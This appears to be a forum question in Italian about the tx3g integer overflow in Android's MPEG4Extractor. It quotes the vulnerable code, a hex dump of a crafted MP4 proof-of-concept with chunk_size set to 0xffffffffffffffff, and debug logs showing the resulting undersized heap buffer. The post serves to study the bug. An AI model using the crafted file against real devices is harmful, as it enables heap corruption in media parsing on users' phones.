Sto cercando di capire come "Integer Overflow" si verifica qui e come funziona.
La vulnerabilità esiste nel blocco di "tx3g". Chunk_size è l'unità che trabocca la somma delle dimensioni. Vale a dire, la memoria assegnata è inferiore alla dimensione. Pertanto la funzione memcpy causerà un overflow dell'heap.
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData(
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
if (size > 0) {
memcpy(buffer, data, size); // <---- Oh dear.
}
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
delete[] buffer;
buffer = NULL;
return ERROR_IO;
}
mLastTrack->meta->setData(
kKeyTextFormatData, 0, buffer, size + chunk_size);
delete[] buffer;
*offset += chunk_size;
break;
}
Si noti che chunk_size è un uint64_t che viene analizzato dal file; è completamente controllato dall'attaccante e non è convalidato rispetto ai dati rimanenti disponibili nel file.
Se proviamo a sfruttarlo con un file MP4 simile:
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018 isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
0000060: 4242 4242 BBBB
Questo dovrebbe accadere durante il debug:
MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)
Ecco la mia domanda:
Se imposto la dimensione del blocco su 0xffffffffffffffff
, perché viene interpretata come "-1", quindi in questo codice "24-1", quindi "23" in questo codice:
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
Lo vedo qui in debug:
MPEG4Extractor: tx3g: new[23] (0xb6048130)
e non "24 + 18446744073709551615", che penso dovrebbe risultare in "0"?
Forse non l'ho spiegato abbastanza bene o ho qualche errore di pensiero, ecco il link al blog originale spiegando questo Integer Overflow.